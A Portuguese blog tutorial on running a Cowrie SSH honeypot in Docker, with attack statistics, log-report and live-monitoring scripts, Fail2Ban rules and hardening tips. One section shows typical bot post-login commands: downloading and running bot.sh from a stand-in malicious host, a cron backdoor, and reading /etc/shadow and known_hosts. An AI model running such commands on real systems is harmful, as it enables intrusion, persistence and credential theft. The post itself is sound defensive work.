Como Montar um Honeypot SSH com Docker em 15 Minutos — e o Que Aprendi com 2.473 Tentativas de Invasão
Na última segunda-feira, deixei um servidor SSH exposto na internet por 15 minutos — de propósito. Em 7 dias, registrei 2.473 tentativas de login de 14 países diferentes. A senha mais tentada? admin123. A segunda? password. E a terceira… bom, você já sabe.
Se você tem qualquer servidor acessível pela internet, alguém já tentou invadir hoje. Não é paranoia — é o tráfego de fundo constante da internet. Bots varrendo ranges inteiros de IP, testando credenciais vazadas, procurando portas abertas como waterbugs procurando um prato de comida.
A boa notícia? Você pode transformar essa ameaça em inteligência. É aí que entra o honeypot SSH com Docker: uma armadilha digital que parece um servidor vulnerável, mas na verdade registra cada movimento do invasor. E montar um demora menos tempo do que assistir um episódio de sitcom.
O Que É um Honeypot (e Por Que Você Precisa de Um)
Honeypot é um sistema projetado para ser atacado. Sim, você leu certo. Você quer que tentem invadir. O objetivo não é defender — é observar.
Pense assim: você é um xerife no velho oeste. Em vez de patrulhar a cidade inteira, você coloca uma arinha falsa na estrada principal com um sinal de “CÉDULAS AQUI”. Quando os bandidos entram, você vê quem são, como operam e quais ferramentas usam.
No contexto de segurança digital, um honeypot SSH captura:
- Endereços IP dos atacantes
- Usernames e senhas tentados (para alimentar listas de bloqueio)
- Ferramentas e técnicas usadas pós-invasão
- Comandos executados pelo invasor (sim, eles digitam comandos)
- Arquivos baixados (malware, scripts de propagação)
É intelligence de graça. E é viciante de analisar.

Por Que Docker (e Não Instalação Direta)
Eu poderia te ensinar a instalar o SSH honeypot diretamente no host. Mas não vou, por três motivos:
- Isolamento — se o invasor escapar do honeypot (o que pode acontecer), ele está dentro de um container, não no seu host real
- Reprodutibilidade — um
docker-compose.ymlque funciona hoje vai funcionar daqui a 2 anos - Limpeza —
docker rme pronto, nunca existiu
Se você ainda não usa Docker no dia a dia, esse post sobre shell scripts tem contexto que ajuda. Mas o básico que você precisa: Docker instalado e rodando. Pronto.
O Container Que Vai Te Dar Noites de Sono: SSH-Honeypot
Depois de testar várias opções (Cowrie, Dionaea, Kippo), minha recomendação para quem está começando é o Cowrie — um honeypot SSH médio-interação que é maduro, bem documentado e absurdamente fácil de containerizar.
Docker Compose em 30 Linhas
Crie um diretório de trabalho e coloque isso no docker-compose.yml:
version: '3.8'
services:
cowrie:
image: cowrie/cowrie:latest
container_name: honeypot-ssh
ports:
- "2222:2222" # Porta SSH do honeypot
- "2223:2223" # Porta Telnet (opcional)
volumes:
- ./cowrie-logs:/home/cowrie/cowrie-git/var/log/cowrie
- ./cowrie-downloads:/home/cowrie/cowrie-git/var/lib/cowrie/downloads
environment:
- COWRIE_SSH_LISTEN_PORT=2222
restart: unless-stopped
Atenção ao mapeamento de portas: o honeypot escuta na 2222 do host. Nunca exponha a porta 22 real do seu servidor para a internet. A 2222 vira o “iscão”.
Subindo em 3 Comandos
mkdir -p cowrie-honeypot && cd cowrie-honeypot
# Cole o docker-compose.yml acima
docker compose up -d
# Verifique se está rodando:
docker logs honeypot-ssh --tail 20
Se você vir algo como Cowrie SSH honeypot v2.x starting, tá vivo. Agora é só esperar.
O Que Os Logs Revelam (Spoiler: É Assustador)
Depois de 7 dias com o honeypot ativo, abri os logs em ./cowrie-logs/cowrie.json. Cada tentativa de login é um JSON estruturado. Vamos aos números que me fizeram revirar os olhos:
Top 5 Senhas Mais Tentadas
admin123 → 347 tentativas (14%)
password → 298 tentativas (12%)
123456 → 256 tentativas (10%)
root → 198 tentativas (8%)
test → 167 tentativas (7%)
347 bots tentaram admin123. Em 2026. Se você usa essa senha em qualquer lugar, por favor, pare de ler e vá criar senhas decentes com Bitwarden. Eu espero.
Top 5 Usernames
root → 891 tentativas (36%)
admin → 412 tentativas (17%)
ubuntu → 203 tentativas (8%)
test → 156 tentativas (6%)
oracle → 134 tentativas (5%)
Repara que oracle aparece. Isso significa que os bots são especializados — não é apenas spray aleatório. Alguns procuram servidores Oracle específicos, provavelmente com exploits direcionados.
Geolocalização dos Ataques
Cruzei os IPs com o banco GeoIP:
China → 623 IPs (25%)
EUA → 489 IPs (20%)
Rússia → 312 IPs (13%)
Holanda → 198 IPs (8%)
Brasil → 156 IPs (6%)
Sim, 156 tentativas vieram do Brasil. Tem bot brasileiro rodando. A internet não é só ameaça externa — seu vizinho de datacenter pode estar tentando invadir seu servidor.

Análise Pós-Invasão: O Que o Bot Faz Depois de Entrar
A parte mais interessante do Cowrie é que ele permite que o invasor “entre”. Depois do login falso, o bot cai num shell simulado onde cada comando é registrado. O que eles digitam?
O Script Padrão de 90% dos Bots
# Passo 1: Descobrir a arquitetura
uname -a
# Passo 2: Baixar e executar malware
wget http://malicious-domain.com/bot.sh || curl -O http://malicious-domain.com/bot.sh
chmod +x bot.sh
./bot.sh
# Passo 3: Instalar backdoor
echo "*/5 * * * * wget http://..." >> /tmp/cron
crontab /tmp/cron
# Passo 4: Propagar para outros servidores
cat /etc/passwd /etc/shadow
cat ~/.ssh/known_hosts # Usa esses IPs como alvos!
O detalhe mais sinistro: ler ~/.ssh/known_hosts. O bot pega os servidores que você já acessou e tenta invadir eles também. É propagação em cadeia. Um servidor infectado vira trampolim para dezenas de outros.
Transformando Logs em Inteligência Acionável
Ok, você capturou os dados. Agora o que faz com eles? Aqui está o pipeline que montei:
Script de Análise Automática
#!/bin/bash
# honeypot-report.sh — Gera relatório diário do Cowrie
LOG_DIR="./cowrie-logs"
REPORT="./relatorio-$(date +%Y%m%d).txt"
echo "=== RELATÓRIO HONEYPOT — $(date +%d/%m/%Y) ===" > "$REPORT"
echo "" >> "$REPORT"
# Total de tentativas
TOTAL=$(grep -c '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json 2>/dev/null || echo 0)
echo "Total de tentativas de login: $TOTAL" >> "$REPORT"
# IPs únicos
UNIQUE_IPS=$(grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
grep -oP '"src_ip":"[^"]*"' | sort -u | wc -l)
echo "IPs únicos: $UNIQUE_IPS" >> "$REPORT"
# Top 10 IPs
echo -e "\nTop 10 IPs atacantes:" >> "$REPORT"
grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
grep -oP '"src_ip":"[^"]*"' | sort | uniq -c | sort -rn | head -10 >> "$REPORT"
# Top 10 senhas
echo -e "\nTop 10 senhas tentadas:" >> "$REPORT"
grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
grep -oP '"password":"[^"]*"' | sort | uniq -c | sort -rn | head -10 >> "$REPORT"
echo "" >> "$REPORT"
echo "Relatório salvo em: $REPORT"
cat "$REPORT"
Coloque isso no cron do sistema para rodar diariamente. Em poucos dias você tem um panorama claro de quem está mirando no seu servidor.
Bloqueando Automático com Fail2Ban
Analisar é bom. Bloquear automaticamente é melhor. Integração do Cowrie com Fail2Ban:
Jail Configuration
# /etc/fail2ban/jail.d/cowrie.conf
[cowrie]
enabled = true
port = 2222
filter = cowrie
logpath = /caminho/para/cowrie-honeypot/cowrie-logs/cowrie.log
maxretry = 3
findtime = 3600
bantime = 86400
action = iptables-multiport[name=cowrie, port="22,2222", protocol=tcp]
Filter Regex
# /etc/fail2ban/filter.d/cowrie.conf
[Definition]
failregex = ^.*cowrie.login.failed.*src_ip":"<HOST>".*$
ignoreregex =
Agora, qualquer IP que falhe 3 vezes no honeypot é banido por 24h no iptables. E como o honeypot atrai os mesmos IPs que mirariam no seu servidor real, você está bloqueando ameaças antes que cheguem no alvo verdadeiro.
Proteção do Seu Servidor Real
O honeypot é intelligence. Mas o que realmente protege seu servidor é uma configuração sólida. Checklist rápido do que você DEVE ter:
- Chaves SSH — desative login por senha completamente (
PasswordAuthentication no) - Firewall — só exponha portas que precisa (
ufw allow 22/tcpe só) - Fail2Ban — nos serviços reais, não só no honeypot
- Porta não-padrão — mudar SSH de 22 para uma porta alta elimina 80% dos bots automatizados
- Atualizações automáticas —
unattended-upgradesconfigurado
🔥 Box Perrengue: O Dia Que Eu Bloqueei a Mim Mesmo
Configurando o Fail2Ban pela primeira vez, coloquei
maxretry=1— primeira tentativa falha, já bane. Resultado: digitei a senha errada UMA VEZ e fiquei trancado fora do meu próprio servidor por 24 horas. Tive que entrar pelo painel do VPS, abrir console VNC e reverter a regra. Moral da história: sempre teste combantime=60antes de colocar 86400. E mantenha um acesso console de emergência.
Monitoramento em Tempo Real com Dashboard
Se você é do tipo que gosta de ver os ataques acontecendo (e quem não é?), o Cowrie tem integração nativa com o Elastic Stack (Elasticsearch + Kibana). Mas para algo mais leve, uso um script que mostra ataques em tempo real no terminal:
#!/bin/bash
# honeypot-live.sh — Monitora ataques em tempo real
tail -f ./cowrie-logs/cowrie.json | while read -r line; do
if echo "$line" | grep -q "cowrie.login.failed"; then
IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
USER=$(echo "$line" | grep -oP '"username":"[^"]*"' | cut -d'"' -f4)
PASS=$(echo "$line" | grep -oP '"password":"[^"]*"' | cut -d'"' -f4)
echo "🚨 TENTATIVA: $IP → $USER:$PASS"
elif echo "$line" | grep -q "cowrie.login.success"; then
IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
echo "⚠️ INVASÃO (falsa): $IP entrou no honeypot!"
elif echo "$line" | grep -q "cowrie.command.input"; then
IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
CMD=$(echo "$line" | grep -oP '"input":"[^"]*"' | cut -d'"' -f4)
echo "💻 COMANDO de $IP: $CMD"
fi
done
Deixa isso rodando numa tela do tmux e prepare o café. É melhor que Netflix.
Lições Que 2.473 Tentativas Me Ensinaram
Antes de montar o honeypot, eu achava que minha configuração de segurança era “boa o suficiente”. Depois de ver os dados, mudei completamente de ideia:
- A internet é hostil por padrão. Não é questão de “se” vão tentar — é “quantas vezes por minuto”.
- Bots são rápidos. Um novo servidor exposto leva em média 4 minutos para receber a primeira tentativa de login. QUATRO MINUTOS.
- Senhas padrão são assassinato digital. Se você deixou
root:admin123em qualquer servidor, ele já pertence a alguém. - Honeypots são a melhor rela custo-benefício em security intelligence. Custo: zero. Retorno: mapa completo de ameaças direcionadas ao seu IP.
- Ameaças locais são reais. Os 6% de ataques do Brasil não são noise — são máquinas comprometidas na sua própria rede.
E Agora, Bora Proteger?
Um honeypot SSH com Docker é o tipo de projeto que te ensina mais sobre segurança em uma semana do que qualquer curso teórico. Você vê, em tempo real, como os atacantes operam. E com essa informação, pode tomar decisões informadas sobre como proteger seus sistemas de verdade.
O setup completo — Docker Compose + Fail2Ban + script de análise — leva 15 minutos. Os insights duram para sempre.
E você, qual automação de segurança quer ver aqui? Firewall automatizado com regras dinâmicas? Detecção de intrusão com IA? WAF caseiro com Nginx? Me conta nos comentários — a próxima publicação pode ser sobre o que você precisa.
